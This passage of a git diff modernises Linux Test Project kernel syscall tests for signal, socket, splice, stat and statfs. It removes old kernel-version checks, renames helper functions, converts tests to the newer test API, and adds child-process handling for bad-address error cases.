a/testcases/kernel/syscalls/signal/signal06.c b/testcases/kernel/syscalls/signal/signal06.c index 64f886ee..cf0706ea 100755 --- a/testcases/kernel/syscalls/signal/signal06.c +++ b/testcases/kernel/syscalls/signal/signal06.c @@ -72,8 +72,8 @@ void test(void) while (D == VALUE && loop < LOOPS) { /* sys_tkill(pid, SIGHUP); asm to avoid save/reload * fp regs around c call */ - asm ("" : : "a"(__NR_tkill), "D"(pid), "S"(SIGHUP)); - asm ("syscall" : : : "ax"); + int unused; + asm volatile ("syscall" : "=a"(unused) : "a"(__NR_tkill), "D"(pid), "S"(SIGHUP) : "rcx", "r11"); loop++; } diff --git a/testcases/kernel/syscalls/signalfd/signalfd01.c b/testcases/kernel/syscalls/signalfd/signalfd01.c index 1a62156f..8fb16800 100755 --- a/testcases/kernel/syscalls/signalfd/signalfd01.c +++ b/testcases/kernel/syscalls/signalfd/signalfd01.c @@ -78,7 +78,7 @@ int main(void) int signalfd(int fd, const sigset_t * mask, int flags) { /* Taken from GLIBC. */ - return ltp_syscall(__NR_signalfd, fd, mask, SIGSETSIZE); + return tst_syscall(__NR_signalfd, fd, mask, SIGSETSIZE); } #endif @@ -249,8 +249,7 @@ void do_test2(int fd, uint32_t sig) goto out; } else { tst_resm(TFAIL, "got unexpected signal: signal=%d : %s", - fdsi.ssi_signo), - strsignal(fdsi.ssi_signo); + fdsi.ssi_signo, strsignal(fdsi.ssi_signo)); goto out; } @@ -263,12 +262,6 @@ int main(int argc, char **argv) int lc; int sfd; - if ((tst_kvercmp(2, 6, 22)) < 0) { - tst_resm(TWARN, - "This test can only run on kernels that are 2.6.22 and higher"); - exit(0); - } - tst_parse_opts(argc, argv, NULL, NULL); setup(); diff --git a/testcases/kernel/syscalls/signalfd4/signalfd4_01.c b/testcases/kernel/syscalls/signalfd4/signalfd4_01.c index 960c7ce9..76f3be27 100755 --- a/testcases/kernel/syscalls/signalfd4/signalfd4_01.c +++ b/testcases/kernel/syscalls/signalfd4/signalfd4_01.c @@ -129,11 +129,6 @@ int main(int argc, char *argv[]) int lc; tst_parse_opts(argc, argv, NULL, NULL); - if ((tst_kvercmp(2, 6, 27)) < 0) { - tst_brkm(TCONF, - NULL, - "This test can only run on kernels that are 2.6.27 and higher"); - } setup(); for (lc = 0; TEST_LOOPING(lc); ++lc) { @@ -141,7 +136,7 @@ int main(int argc, char *argv[]) for (testno = 0; testno < TST_TOTAL; ++testno) { sigemptyset(&ss); sigaddset(&ss, SIGUSR1); - fd = ltp_syscall(__NR_signalfd4, -1, &ss, + fd = tst_syscall(__NR_signalfd4, -1, &ss, SIGSETSIZE, 0); if (fd == -1) { tst_brkm(TFAIL, cleanup, @@ -158,7 +153,7 @@ int main(int argc, char *argv[]) } close(fd); - fd = ltp_syscall(__NR_signalfd4, -1, &ss, SIGSETSIZE, + fd = tst_syscall(__NR_signalfd4, -1, &ss, SIGSETSIZE, SFD_CLOEXEC); if (fd == -1) { tst_brkm(TFAIL, diff --git a/testcases/kernel/syscalls/signalfd4/signalfd4_02.c b/testcases/kernel/syscalls/signalfd4/signalfd4_02.c index ddf8b8c3..18f86b4a 100755 --- a/testcases/kernel/syscalls/signalfd4/signalfd4_02.c +++ b/testcases/kernel/syscalls/signalfd4/signalfd4_02.c @@ -125,11 +125,6 @@ int main(int argc, char *argv[]) int lc; tst_parse_opts(argc, argv, NULL, NULL); - if ((tst_kvercmp(2, 6, 27)) < 0) { - tst_brkm(TCONF, - NULL, - "This test can only run on kernels that are 2.6.27 and higher"); - } setup(); for (lc = 0; TEST_LOOPING(lc); ++lc) { @@ -137,7 +132,7 @@ int main(int argc, char *argv[]) for (testno = 0; testno < TST_TOTAL; ++testno) { sigemptyset(&ss); sigaddset(&ss, SIGUSR1); - fd = ltp_syscall(__NR_signalfd4, -1, &ss, + fd = tst_syscall(__NR_signalfd4, -1, &ss, SIGSETSIZE, 0); if (fd == -1) { tst_brkm(TFAIL, cleanup, @@ -154,7 +149,7 @@ int main(int argc, char *argv[]) } close(fd); - fd = ltp_syscall(__NR_signalfd4, -1, &ss, SIGSETSIZE, + fd = tst_syscall(__NR_signalfd4, -1, &ss, SIGSETSIZE, SFD_NONBLOCK); if (fd == -1) { tst_brkm(TFAIL, diff --git a/testcases/kernel/syscalls/socket/socket01.c b/testcases/kernel/syscalls/socket/socket01.c index 46715483..4724609d 100755 --- a/testcases/kernel/syscalls/socket/socket01.c +++ b/testcases/kernel/syscalls/socket/socket01.c @@ -66,27 +66,7 @@ static void verify_socket(unsigned int n) tst_res(TPASS, "%s successful", tc->desc); } -/* - * See: - * commit 86c8f9d158f68538a971a47206a46a22c7479bac - * ... - * [IPV4] Fix EPROTONOSUPPORT error in inet_create - */ -static void setup(void) -{ - unsigned int i; - - if (tst_kvercmp(2, 6, 16) >= 0) - return; - - for (i = 0; i < ARRAY_SIZE(tdat); i++) { - if (tdat[i].experrno == EPROTONOSUPPORT) - tdat[i].experrno = ESOCKTNOSUPPORT; - } -} - static struct tst_test test = { .tcnt = ARRAY_SIZE(tdat), - .setup = setup, .test = verify_socket }; diff --git a/testcases/kernel/syscalls/socket/socket02.c b/testcases/kernel/syscalls/socket/socket02.c index 59fd942d..51b8cc59 100755 --- a/testcases/kernel/syscalls/socket/socket02.c +++ b/testcases/kernel/syscalls/socket/socket02.c @@ -68,6 +68,5 @@ static void cleanup(void) static struct tst_test test = { .tcnt = ARRAY_SIZE(tcases), .test = verify_socket, - .min_kver = "2.6.27", .cleanup = cleanup }; diff --git a/testcases/kernel/syscalls/socketpair/socketpair01.c b/testcases/kernel/syscalls/socketpair/socketpair01.c index 7c301f68..675eb535 100755 --- a/testcases/kernel/syscalls/socketpair/socketpair01.c +++ b/testcases/kernel/syscalls/socketpair/socketpair01.c @@ -70,27 +70,7 @@ static void verify_socketpair(unsigned int n) tst_res(TPASS, "%s successful", tc->desc); } -/* - * See: - * commit 86c8f9d158f68538a971a47206a46a22c7479bac - * ... - * [IPV4] Fix EPROTONOSUPPORT error in inet_create - */ -static void setup(void) -{ - unsigned int i; - - if (tst_kvercmp(2, 6, 16) >= 0) - return; - - for (i = 0; i < ARRAY_SIZE(tdat); i++) { - if (tdat[i].experrno == EPROTONOSUPPORT) - tdat[i].experrno = ESOCKTNOSUPPORT; - } -} - static struct tst_test test = { .tcnt = ARRAY_SIZE(tdat), - .setup = setup, .test = verify_socketpair }; diff --git a/testcases/kernel/syscalls/socketpair/socketpair02.c b/testcases/kernel/syscalls/socketpair/socketpair02.c index e23945c5..eb679d5d 100755 --- a/testcases/kernel/syscalls/socketpair/socketpair02.c +++ b/testcases/kernel/syscalls/socketpair/socketpair02.c @@ -81,6 +81,5 @@ static void cleanup(void) static struct tst_test test = { .tcnt = ARRAY_SIZE(tcases), .test = verify_socketpair, - .min_kver = "2.6.27", .cleanup = cleanup }; diff --git a/testcases/kernel/syscalls/sockioctl/sockioctl01.c b/testcases/kernel/syscalls/sockioctl/sockioctl01.c index 486236af..ff3738f3 100755 --- a/testcases/kernel/syscalls/sockioctl/sockioctl01.c +++ b/testcases/kernel/syscalls/sockioctl/sockioctl01.c @@ -52,7 +52,7 @@ static struct ifreq ifr; static int sinlen; static int optval; -static char buf[8192]; +static struct ifreq buf[200]; static void setup(void); static void setup0(void); @@ -190,8 +190,7 @@ static void setup0(void) * changed -EINVAL to -ENOIOCTLCMD, so vfs_ioctl now * returns -ENOTTY. */ - if ((tst_kvercmp(3, 5, 0)) >= 0) - tdat[testno].experrno = ENOTTY; + tdat[testno].experrno = ENOTTY; } } @@ -210,10 +209,8 @@ static void setup1(void) SAFE_BIND(cleanup, s, (struct sockaddr *)&sin0, sizeof(sin0)); sinlen = sizeof(fsin1); - if (strncmp(tdat[testno].desc, "ATMARK on UDP", 14) == 0) { - if ((tst_kvercmp(2, 6, 39)) >= 0) - tdat[testno].experrno = ENOTTY; - } + if (strncmp(tdat[testno].desc, "ATMARK on UDP", 14) == 0) + tdat[testno].experrno = ENOTTY; } static void setup2(void) @@ -221,7 +218,7 @@ static void setup2(void) s = SAFE_SOCKET(cleanup, tdat[testno].domain, tdat[testno].type, tdat[testno].proto); ifc.ifc_len = sizeof(buf); - ifc.ifc_buf = buf; + ifc.ifc_buf = (char *)buf; } static void setup3(void) diff --git a/testcases/kernel/syscalls/splice/splice01.c b/testcases/kernel/syscalls/splice/splice01.c index e1c60f55..508ccdeb 100755 --- a/testcases/kernel/syscalls/splice/splice01.c +++ b/testcases/kernel/syscalls/splice/splice01.c @@ -79,17 +79,11 @@ static void setup(void) { int i; - if (tst_fs_type(".") == TST_NFS_MAGIC) { - if (tst_kvercmp(2, 6, 32) < 0) - tst_brk(TCONF, "Cannot do splice on a file" - " on NFS filesystem before 2.6.32"); - } - for (i = 0; i < TEST_BLOCK_SIZE; i++) buffer[i] = i & 0xff; fd_in = SAFE_OPEN(TESTFILE1, O_WRONLY | O_CREAT | O_TRUNC, 0777); - SAFE_WRITE(1, fd_in, buffer, TEST_BLOCK_SIZE); + SAFE_WRITE(SAFE_WRITE_ALL, fd_in, buffer, TEST_BLOCK_SIZE); SAFE_CLOSE(fd_in); } @@ -107,5 +101,4 @@ static struct tst_test test = { .cleanup = cleanup, .test_all = splice_test, .needs_tmpdir = 1, - .min_kver = "2.6.17", }; diff --git a/testcases/kernel/syscalls/splice/splice02.c b/testcases/kernel/syscalls/splice/splice02.c index c8119510..1da1186b 100755 --- a/testcases/kernel/syscalls/splice/splice02.c +++ b/testcases/kernel/syscalls/splice/splice02.c @@ -140,7 +140,7 @@ static void run(void) for (i = 0; i < size; i++) buf[i] = get_letter(file_size - to_write + i); - written = SAFE_WRITE(1, pipe_fd[1], &buf, size); + written = SAFE_WRITE(SAFE_WRITE_ALL, pipe_fd[1], &buf, size); to_write -= written; } @@ -155,7 +155,6 @@ static struct tst_test test = { .setup = setup, .needs_tmpdir = 1, .forks_child = 1, - .min_kver = "2.6.17", .options = (struct tst_option[]) { {"s:", &sarg, "Size of output file in bytes (default: 16x max pipe size, i.e. 1M on intel)"}, {} diff --git a/testcases/kernel/syscalls/splice/splice03.c b/testcases/kernel/syscalls/splice/splice03.c index 85bc1ba1..c054e6c1 100755 --- a/testcases/kernel/syscalls/splice/splice03.c +++ b/testcases/kernel/syscalls/splice/splice03.c @@ -73,7 +73,7 @@ static void setup(void) SAFE_PIPE(pipes); - SAFE_WRITE(1, pipes[1], STR, sizeof(STR) - 1); + SAFE_WRITE(SAFE_WRITE_ALL, pipes[1], STR, sizeof(STR) - 1); } static void splice_verify(unsigned int n) @@ -123,5 +123,4 @@ static struct tst_test test = { .test = splice_verify, .tcnt = ARRAY_SIZE(tcases), .needs_tmpdir = 1, - .min_kver = "2.6.17", }; diff --git a/testcases/kernel/syscalls/splice/splice04.c b/testcases/kernel/syscalls/splice/splice04.c index 1189afcd..5e6e8df0 100755 --- a/testcases/kernel/syscalls/splice/splice04.c +++ b/testcases/kernel/syscalls/splice/splice04.c @@ -49,7 +49,7 @@ static void pipe_pipe(void) SAFE_PIPE(pp1); SAFE_PIPE(pp2); - SAFE_WRITE(1, pp1[1], arr_in, num_len_data); + SAFE_WRITE(SAFE_WRITE_ALL, pp1[1], arr_in, num_len_data); for (i = num_len_data; i > 0; i = i - ret) { ret = splice(pp1[0], NULL, pp2[1], NULL, i, 0); if (ret == -1) { @@ -83,5 +83,4 @@ static struct tst_test test = { {"l:", &str_len_data, "Length of test data (in bytes)"}, {} }, - .min_kver = "2.6.31" }; diff --git a/testcases/kernel/syscalls/splice/splice05.c b/testcases/kernel/syscalls/splice/splice05.c index 306f3c60..501df10f 100755 --- a/testcases/kernel/syscalls/splice/splice05.c +++ b/testcases/kernel/syscalls/splice/splice05.c @@ -62,7 +62,7 @@ static void pipe_socket(void) SAFE_PIPE(pp2); SAFE_SOCKETPAIR(AF_UNIX, SOCK_STREAM, 0, sv); - SAFE_WRITE(1, pp1[1], arr_in, num_len_data); + SAFE_WRITE(SAFE_WRITE_ALL, pp1[1], arr_in, num_len_data); for (i = num_len_data; i > 0; i = i - ret) { ret = splice(pp1[0], NULL, sv[0], 0, i, 0); if (ret == -1) { @@ -108,5 +108,4 @@ static struct tst_test test = { {"l:", &str_len_data, "Length of test data (in bytes)"}, {} }, - .min_kver = "2.6.17" }; diff --git a/testcases/kernel/syscalls/ssetmask/ssetmask01.c b/testcases/kernel/syscalls/ssetmask/ssetmask01.c index 336a9be3..ca3a1ded 100755 --- a/testcases/kernel/syscalls/ssetmask/ssetmask01.c +++ b/testcases/kernel/syscalls/ssetmask/ssetmask01.c @@ -112,13 +112,13 @@ int main(int ac, char **av) for (lc = 0; TEST_LOOPING(lc); ++lc) { tst_count = 0; for (testno = 0; testno < TST_TOTAL; ++testno) { - ltp_syscall(__NR_ssetmask, SIGALRM); - TEST(ltp_syscall(__NR_sgetmask)); + tst_syscall(__NR_ssetmask, SIGALRM); + TEST(tst_syscall(__NR_sgetmask)); if (TEST_RETURN != SIGALRM) { tst_brkm(TFAIL | TTERRNO, cleanup, "sgetmask() failed"); } - TEST(ltp_syscall(__NR_ssetmask, SIGUSR1)); + TEST(tst_syscall(__NR_ssetmask, SIGUSR1)); if (TEST_RETURN != SIGALRM) { tst_brkm(TFAIL | TTERRNO, cleanup, "ssetmask() failed"); diff --git a/testcases/kernel/syscalls/stat/stat01.c b/testcases/kernel/syscalls/stat/stat01.c index 0f5c1dcc..365cdac8 100755 --- a/testcases/kernel/syscalls/stat/stat01.c +++ b/testcases/kernel/syscalls/stat/stat01.c @@ -2,16 +2,17 @@ /* Copyright (c) International Business Machines Corp., 2001 * 07/2001 John George * -Ported + * Copyright (c) Linux Test Project, 2002-2022 + */ + +/*\ + * [Description] * - * Verify that, stat(2) succeeds to get the status of a file and fills the - * stat structure elements regardless of whether process has or doesn't - * have read access to the file. + * Verify that, stat(2) succeeds to get the status of a file and fills the + * stat structure elements regardless of whether process has or doesn't + * have read access to the file. */ -#include -#include -#include -#include #include #include "tst_test.h" @@ -22,9 +23,9 @@ #define NEW_MODE 0222 #define MASK 0777 -uid_t user_id; -gid_t group_id; -struct passwd *ltpuser; +static uid_t user_id; +static gid_t group_id; +static struct passwd *ltpuser; static struct tcase{ char *pathname; @@ -38,47 +39,14 @@ static void verify_stat(unsigned int n) { struct tcase *tc = TC + n; struct stat stat_buf; - int fail = 0; - - TEST(stat(tc->pathname, &stat_buf)); - - if (TST_RET == -1) { - tst_res(TFAIL | TTERRNO, "stat(%s) failed", tc->pathname); - return; - } - - if (stat_buf.st_uid != user_id) { - tst_res(TFAIL, "stat_buf.st_uid = %i expected %i", - stat_buf.st_uid, user_id); - fail++; - } - if (stat_buf.st_gid != group_id) { - tst_res(TFAIL, "stat_buf.st_gid = %i expected %i", - stat_buf.st_gid, group_id); - fail++; - } - - if (stat_buf.st_size != FILE_SIZE) { - tst_res(TFAIL, "stat_buf.st_size = %li expected %i", - (long)stat_buf.st_size, FILE_SIZE); - fail++; - } - - if ((stat_buf.st_mode & MASK) != tc->mode) { - tst_res(TFAIL, "stat_buf.st_mode = %o expected %o", - (stat_buf.st_mode & MASK), tc->mode); - fail++; - } - - if (stat_buf.st_nlink != 1) { - tst_res(TFAIL, "stat_buf.st_nlink = %lu expected 1", - stat_buf.st_nlink); - fail++; - } + TST_EXP_PASS(stat(tc->pathname, &stat_buf)); - if (!fail) - tst_res(TPASS, "stat(%s)", tc->pathname); + TST_EXP_EQ_LU(stat_buf.st_uid, user_id); + TST_EXP_EQ_LU(stat_buf.st_gid, group_id); + TST_EXP_EQ_LI(stat_buf.st_size, FILE_SIZE); + TST_EXP_EQ_LU(stat_buf.st_mode & MASK, tc->mode); + TST_EXP_EQ_LU(stat_buf.st_nlink, 1); } static void setup(void) diff --git a/testcases/kernel/syscalls/stat/stat02.c b/testcases/kernel/syscalls/stat/stat02.c index c330cfec..a83bf8fa 100755 --- a/testcases/kernel/syscalls/stat/stat02.c +++ b/testcases/kernel/syscalls/stat/stat02.c @@ -44,7 +44,7 @@ void verify(const char *fname, size_t bytes, size_t decrement) fd = SAFE_OPEN(fname, O_CREAT | O_TRUNC | O_RDWR, 0777); while (bytes > 0) { for (i = 0; i < NUM_WRITES; i++) { - SAFE_WRITE(1, fd, buffer, bytes); + SAFE_WRITE(SAFE_WRITE_ALL, fd, buffer, bytes); bytes_written += bytes; } bytes -= bytes > decrement ? decrement : bytes; diff --git a/testcases/kernel/syscalls/stat/stat03.c b/testcases/kernel/syscalls/stat/stat03.c index 20d4c772..369e6d79 100755 --- a/testcases/kernel/syscalls/stat/stat03.c +++ b/testcases/kernel/syscalls/stat/stat03.c @@ -2,15 +2,16 @@ /* Copyright (c) International Business Machines Corp., 2001 * 07/2001 John George * -Ported + * Copyright (c) Linux Test Project, 2002-2022 + */ + +/*\ + * [Description] * * check stat() with various error conditions that should produce * EACCES, EFAULT, ENAMETOOLONG, ENOENT, ENOTDIR, ELOOP */ -#include -#include -#include -#include #include #include "tst_test.h" @@ -23,7 +24,7 @@ #define MODE_RW 0666 #define DIR_MODE 0755 -struct passwd *ltpuser; +static struct passwd *ltpuser; static char long_dir[PATH_MAX + 2] = {[0 ... PATH_MAX + 1] = 'a'}; static char loop_dir[PATH_MAX] = "."; @@ -45,19 +46,7 @@ static void verify_stat(unsigned int n) struct tcase *tc = TC + n; struct stat stat_buf; - TEST(stat(tc->pathname, &stat_buf)); - if (TST_RET != -1) { - tst_res(TFAIL, "stat() succeeded unexpectedly"); - return; - } - - if (TST_ERR == tc->exp_errno) { - tst_res(TPASS | TTERRNO, "stat() failed as expected"); - } else { - tst_res(TFAIL | TTERRNO, - "stat() failed unexpectedly; expected: %d - %s", - tc->exp_errno, tst_strerrno(tc->exp_errno)); - } + TST_EXP_FAIL(stat(tc->pathname, &stat_buf), tc->exp_errno); } static void setup(void) diff --git a/testcases/kernel/syscalls/statfs/statfs01.c b/testcases/kernel/syscalls/statfs/statfs01.c index 65f00898..a2043f03 100755 --- a/testcases/kernel/syscalls/statfs/statfs01.c +++ b/testcases/kernel/syscalls/statfs/statfs01.c @@ -1,197 +1,43 @@ +// SPDX-License-Identifier: GPL-2.0 /* * Copyright (c) 2000 Silicon Graphics, Inc. All Rights Reserved. - * - * This program is free software; you can redistribute it and/or modify it - * under the terms of version 2 of the GNU General Public License as - * published by the Free Software Foundation. - * - * This program is distributed in the hope that it would be useful, but - * WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. - * - * Further, this software is distributed without any warranty that it is - * free of the rightful claim of any third person regarding infringement - * or the like. Any license provided herein, whether implied or - * otherwise, applies only to this software file. Patent licenses, if - * any, provided herein do not apply to combinations of this program with - * other software, or any other product whatsoever. - * - * You should have received a copy of the GNU General Public License along - * with this program; if not, write the Free Software Foundation, Inc., - * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. - * - * Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pkwy, - * Mountain View, CA 94043, or: - * - * http://www.sgi.com - * - * For further information regarding this notice, see: - * - * http://oss.sgi.com/projects/GenInfo/NoticeExplan/ - * + * AUTHOR : William Roske, CO-PILOT : Dave Fenner + * Copyright (c) 2022 SUSE LLC Avinesh Kumar */ -/* $Id: statfs01.c,v 1.6 2009/11/02 13:57:19 subrata_modak Exp $ */ -/********************************************************** - * - * OS Test - Silicon Graphics, Inc. - * - * TEST IDENTIFIER : statfs01 - * - * EXECUTED BY : anyone - * - * TEST TITLE : Basic test for statfs(2) mounted filesys - * - * PARENT DOCUMENT : usctpl01 - * - * TEST CASE TOTAL : 1 - * - * WALL CLOCK TIME : 1 - * - * CPU TYPES : ALL - * - * AUTHOR : William Roske - * - * CO-PILOT : Dave Fenner - * - * DATE STARTED : 05/14/92 - * - * INITIAL RELEASE : UNICOS 7.0 - * - * TEST CASES - * - * 1.) statfs(2) returns...(See Description) - * - * INPUT SPECIFICATIONS - * The standard options for system call tests are accepted. - * (See the parse_opts(3) man page). - * - * OUTPUT SPECIFICATIONS - *$ - * DURATION - * Terminates - with frequency and infinite modes. - * - * SIGNALS - * Uses SIGUSR1 to pause before test if option set. - * (See the parse_opts(3) man page). - * - * RESOURCES - * None - * - * ENVIRONMENTAL NEEDS - * No run-time environmental needs. - * - * SPECIAL PROCEDURAL REQUIREMENTS - * None - * - * INTERCASE DEPENDENCIES - * None - * - * DETAILED DESCRIPTION - * This is a Phase I test for the statfs(2) system call. It is intended - * to provide a limited exposure of the system call, for now. It - * should/will be extended when full functional tests are written for - * statfs(2). - * - * Setup: - * Setup signal handling. - * Pause for SIGUSR1 if option specified. - * - * Test: - * Loop if the proper options are given. - * Execute system call - * Check return code, if system call failed (return=-1) - * Log the errno and Issue a FAIL message. - * Otherwise, Issue a PASS message. - * - * Cleanup: - * Print errno log and/or timing stats if options given - * - * - *#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#**/ -#include -#include -#include -#include -#include -#include -#include "test.h" - -void setup(); -void cleanup(); +/*\ + * [Description] + * + * Verify that statfs() syscall executes successfully on all + * available filesystems. + */ -char *TCID = "statfs01"; -int TST_TOTAL = 1; +#include "tst_test.h" -char fname[255]; -int fd; -struct statfs stats; +#define MNT_POINT "mntpoint" +#define TEMP_FILE MNT_POINT"/testfile" +#define TEXT "dummy text" -int main(int ac, char **av) +static void setup(void) { - int lc; - - tst_parse_opts(ac, av, NULL, NULL); - - setup(); - - for (lc = 0; TEST_LOOPING(lc); lc++) { - - tst_count = 0; - - /* Call fstatfs(2) */ - TEST(statfs(fname, &stats)); - - /* check return code */ - if (TEST_RETURN == -1) { - tst_resm(TFAIL | TTERRNO, "statfs(%s, ..) failed", - fname); - } else { - tst_resm(TPASS, "statfs(%s, ..) returned %ld", - fname, TEST_RETURN); - } - - } - - cleanup(); - tst_exit(); + int fd = SAFE_OPEN(TEMP_FILE, O_RDWR | O_CREAT, 0700); + SAFE_WRITE(SAFE_WRITE_ALL, fd, TEXT, strlen(TEXT)); + SAFE_CLOSE(fd); } -/*************************************************************** - * setup() - performs all ONE TIME setup for this test. - ***************************************************************/ -void setup(void) +static void run(void) { + struct statfs buf; - tst_sig(NOFORK, DEF_HANDLER, cleanup); - - TEST_PAUSE; - - tst_tmpdir(); - - sprintf(fname, "tfile_%d", getpid()); - if ((fd = open(fname, O_RDWR | O_CREAT, 0700)) == -1) { - tst_brkm(TBROK, cleanup, - "open(%s, O_RDWR|O_CREAT,0700) Failed, errno=%d : %s", - fname, errno, strerror(errno)); - } - /* write the TCID to the file */ - if (write(fd, TCID, strlen(TCID)) == -1) { - tst_brkm(TBROK, cleanup, - "write(fd, TCID, strlen(TCID))Failed, errno=%d : %s", - errno, strerror(errno)); - } - close(fd); - + TST_EXP_PASS(statfs(TEMP_FILE, &buf)); } -/*************************************************************** - * cleanup() - performs all ONE TIME cleanup for this test at - * completion or premature exit. - ***************************************************************/ -void cleanup(void) -{ - - tst_rmdir(); -} +static struct tst_test test = { + .setup = setup, + .test_all = run, + .needs_root = 1, + .mount_device = 1, + .mntpoint = MNT_POINT, + .all_filesystems = 1 +}; diff --git a/testcases/kernel/syscalls/statfs/statfs02.c b/testcases/kernel/syscalls/statfs/statfs02.c index 279665f8..ee9dba0c 100755 --- a/testcases/kernel/syscalls/statfs/statfs02.c +++ b/testcases/kernel/syscalls/statfs/statfs02.c @@ -1,56 +1,37 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (c) International Business Machines Corp., 2001 * 07/2001 Ported by Wayne Boyer * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ -/* - * DESCRIPTION - * 1. Use a component of the pathname, which is not a directory - * in the "path" parameter to statfs(). Expect ENOTDIR - * 2. Pass a filename which doesn't exist, and expect ENOENT. - * 3. Pass a pathname which is more than MAXNAMLEN, and expect - * ENAMETOOLONG. - * 4. Pass a pointer to the pathname outside the address space of - * the process, and expect EFAULT. - * 5. Pass a pointer to the buf paramter outside the address space - * of the process, and expect EFAULT. - * 6. Pass a filename which has too many symbolic links, and expect - * ELOOP. +/*\ + * [Description] + * + * Tests for failures: + * + * - ENOTDIR A component of the pathname, which is not a directory. + * - ENOENT A filename which doesn't exist. + * - ENAMETOOLONG A pathname which is longer than MAXNAMLEN. + * - EFAULT A pathname pointer outside the address space of the process. + * - EFAULT A buf pointer outside the address space of the process. + * - ELOOP A filename which has too many symbolic links. */ -#include -#include -#include -#include -#include -#include #include -#include "test.h" -#include "safe_macros.h" - -char *TCID = "statfs02"; - -static int fd; +#include +#include +#include +#include +#include "tst_test.h" +#include "tst_safe_macros.h" #define TEST_FILE "statfs_file" #define TEST_FILE1 TEST_FILE"/statfs_file1" #define TEST_NOEXIST "statfs_noexist" #define TEST_SYMLINK "statfs_symlink" +static int fd; static char test_toolong[PATH_MAX+2]; static struct statfs buf; @@ -58,83 +39,67 @@ static struct test_case_t { char *path; struct statfs *buf; int exp_error; -} TC[] = { +} tests[] = { {TEST_FILE1, &buf, ENOTDIR}, {TEST_NOEXIST, &buf, ENOENT}, {test_toolong, &buf, ENAMETOOLONG}, -#ifndef UCLINUX {(char *)-1, &buf, EFAULT}, {TEST_FILE, (struct statfs *)-1, EFAULT}, -#endif {TEST_SYMLINK, &buf, ELOOP}, }; -int TST_TOTAL = ARRAY_SIZE(TC); -static void setup(void); -static void cleanup(void); -static void statfs_verify(const struct test_case_t *); - -int main(int ac, char **av) +static void statfs_verify(unsigned int n) { - int lc; - int i; + int pid, status; + + pid = SAFE_FORK(); + if (!pid) { + TST_EXP_FAIL(statfs(tests[n].path, tests[n].buf), tests[n].exp_error, "statfs()"); + exit(0); + } - tst_parse_opts(ac, av, NULL, NULL); + SAFE_WAITPID(pid, &status, 0); - setup(); + if (WIFEXITED(status) && WEXITSTATUS(status) == 0) + return; - for (lc = 0; TEST_LOOPING(lc); lc++) { - tst_count = 0; - for (i = 0; i < TST_TOTAL; i++) - statfs_verify(&TC[i]); + if (tests[n].exp_error == EFAULT && + WIFSIGNALED(status) && WTERMSIG(status) == SIGSEGV) { + tst_res(TPASS, "Got SIGSEGV instead of EFAULT"); + return; } - cleanup(); - tst_exit(); + tst_res(TFAIL, "Child %s", tst_strstatus(status)); } static void setup(void) { - tst_sig(NOFORK, DEF_HANDLER, cleanup); - - TEST_PAUSE; + unsigned int i; - tst_tmpdir(); - - fd = SAFE_CREAT(cleanup, TEST_FILE, 0444); + fd = SAFE_CREAT(TEST_FILE, 0444); memset(test_toolong, 'a', PATH_MAX+1); -#if !defined(UCLINUX) - TC[3].path = SAFE_MMAP(cleanup, 0, 1, PROT_NONE, - MAP_PRIVATE | MAP_ANONYMOUS, 0, 0); -#endif - - SAFE_SYMLINK(cleanup, TEST_SYMLINK, "statfs_symlink_2"); - SAFE_SYMLINK(cleanup, "statfs_symlink_2", TEST_SYMLINK); -} - -static void statfs_verify(const struct test_case_t *test) -{ - TEST(statfs(test->path, test->buf)); - - if (TEST_RETURN != -1) { - tst_resm(TFAIL, "call succeeded unexpectedly"); - return; + for (i = 0; i < ARRAY_SIZE(tests); i++) { + if (tests[i].path == (char *)-1) + tests[i].path = tst_get_bad_addr(NULL); } - if (TEST_ERRNO == test->exp_error) { - tst_resm(TPASS | TTERRNO, "expected failure"); - } else { - tst_resm(TFAIL | TTERRNO, "unexpected error, expected %d", - TEST_ERRNO); - } + SAFE_SYMLINK(TEST_SYMLINK, "statfs_symlink_2"); + SAFE_SYMLINK("statfs_symlink_2", TEST_SYMLINK); } static void cleanup(void) { if (fd > 0) close(fd); - - tst_rmdir(); } + +static struct tst_test test = { + .test = statfs_verify, + .tcnt = ARRAY_SIZE(tests), + .setup = setup, + .cleanup = cleanup, + .needs_tmpdir = 1, + .forks_child = 1, +}; diff --git a/testcases/kernel/syscalls/statfs/statfs03.c b/testcases/kernel/syscalls/statfs/statfs03.c index 32aaf830..2afdbbf0 100755 --- a/testcases/kernel/syscalls/statfs/statfs03.c +++ b/testcases/kernel/syscalls/statfs/statfs03.c @@ -1,165 +1,46 @@ +// SPDX-License-Identifier: GPL-2.0-or-later + /* - * * Copyright (C) Bull S.A. 2001 * Copyright (c) International Business Machines Corp., 2001 - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + * 05/2002 Ported by Jacky Malcles + * Copyright (c) 2022 SUSE LLC Avinesh Kumar */ -/* - * NAME - * statfs03.c - * - * DESCRIPTION - * Testcase to check that statfs(2) sets errno to EACCES when - * search permission is denied for a component of the path prefix of path. - * - * ALGORITHM - * Use a component of the pathname, where search permission - * is denied for a component of the path prefix of path. - * - * USAGE: - * statfs03 [-c n] [-e] [-i n] [-I x] [-P x] [-t] - * where, -c n : Run n copies concurrently. - * -e : Turn on errno logging. - * -i n : Execute test n times. - * -I x : Execute test for x seconds. - * -P x : Pause for x seconds between iterations. - * -t : Turn on 